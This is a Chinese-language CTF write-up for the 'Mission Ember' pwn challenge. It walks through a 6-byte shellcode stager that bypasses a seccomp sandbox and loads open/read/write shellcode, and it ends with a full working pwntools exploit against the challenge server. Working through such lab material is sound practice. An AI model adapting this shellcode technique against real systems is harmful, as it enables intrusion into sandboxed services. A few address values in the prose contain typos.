Mission Ember

极客大挑战2025Mission Ember (4).png

main函数:

极客大挑战2025Mission Ember (5).png

my_heart函数:

极客大挑战2025Mission Ember (6).png

有沙箱

极客大挑战2025Mission Ember (2).png

我们可以看到最后是return kill,所以是一个白名单,read、write、open是允许的,那我们考虑用orw

出来my_heart其他函数都是输出文字,我们看到创造了0x45000开始的7权限的区域为s,空间足够大,然后please_dont_hurt_me函数是设置沙箱,然后我们能像s读入6字节,然后从s开始的指令

我们这里只有六字节的shellcode,思路就是写一个6字节的read的shellcode,然后读入orw的shellcode,我们先看一下最后的call断点时的寄存器状态

极客大挑战2025Mission Ember (1).png

call指令会执行push和然后jump,就会把rsp改成另一个值把rip改成0x405000,read所需的rax、rdi、rdx、rsi没变,我们可以看到分别是5、0、0、0,那我们就要改rax为0,rdx为读入长度,rsi为读入地址,我们正常写是这样的

xor rax, rax 3字节
xor rdi, rdi(这个已经满足了)
mov rsi, 0x405000 7字节左右
mov rdx, 0x100 5字节左右
syscall 2字节

那是远远超出6字节的

这种情况下,我们只能想办法节省,首先把rax设置为0我们可以用 xchg eax, ebx,这个意思是交换两个寄存器的值,这里rbx刚好为0,这个指令是1字节,我们就解决了rax的设置

去除syscall的2字节,我们还剩3字节,我们考虑能不能用pop指令,因为这个指令只有1字节,即将栈上的东西存到寄存器中

这里我们看栈的情况

极客大挑战2025Mission Ember (3).png

由于这里是再call下的断点,所以执行call会执行一个push,所以rsp是会向下移动一次的,也就是这种情况

rsp 0x7ffc2740b8a8 某个新压进来的地址
rsp+8 0x7ffc2740b8b0 0x7ffc2740b8d0
rsp+16 0x7ffc2740b8b8 0x40500

那我们

pop rdx

pop rdx

pop rsi

就能成功把rdx变成一个很大的数,然后把rsi设置为0x405000地址了,刚好3个字节,我们就成功设置了6个字节的read了

然后就是写orw的shellcode了,这里要注意一个点

rip是一直往下执行的,我们的read是放在0x405000到0x405005(我们的read是6字节),所以它执行完我们的read后是执行0x405006的内容的,但是我们利用read是往0x405000读入我们的orw的,所以我们要在orw前六个字节的填充,保证我们的orw是从0x4005006开始放置的

EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']

file_name = './pwn_patched'
libc_name = './libc.so.6'

elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)

gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0

if switch:
    target = 'nc1.ctfplus.cn'
    port   = 36752
    p = remote(target, port)
else:
    p = process(file_name)

if debug:
    context(log_level='debug')

if error:
    context(log_level='error')

bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
#0x1480
]

if gdb_ and switch == 0:
    gdb_cmd = ''
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
       elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
           if 'libc' in locals() and libc:
                anchor = 'printf' if 'printf' in libc.sym else '__libc_start_main'
                anchor_off = libc.sym[anchor]
                target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
                gdb_cmd += f"b *&{anchor} - {hex(anchor_off)} + {hex(target)}\n"
           else:
                log.warning("未加载 Libc,跳过 Libc 断点")
    gdb.attach(p,gdb_cmd)
    pause()

def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl():                return p.recvline()
def ra(t=None):          return p.recvall(timeout=t)
def cl():                return p.close()
def it():                return p.interactive()
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def search(s, f=None):   return next((f or libc).search(s if isinstance(s, bytes) else s.encode()))
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def ga(delim=b'\n', name='Leak'):    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16) for a in re.findall(b'0x[0-9a-fA-F]+', ru(delim))])]
def ntlb(leak, offset, name='Libc'):  return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num

#################################################################################
stage1_asm = '''
    pop rdx
    pop rdx
    pop rsi
    xchg eax, ebx
    syscall
'''
stage1 = asm(stage1_asm)
sa(b"Try contacting Geek HQ",stage1)
orw_payload = shellcraft.open('/flag') 
orw_payload += shellcraft.read('rax', 'rsp', 0x100)
orw_payload += shellcraft.write(1, 'rsp', 0x100)   
padding = b'A' * 6 
stage2 = padding + asm(orw_payload)
s(stage2)
it()



题目连接:

CTF-Writeups/第十六届极客大挑战/Mission Ember at main · Zenquiem/CTF-Writeups


Mission Ember
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-3BPi7x2C
作者
ZenDuk
发布于
2026年01月01日
许可协议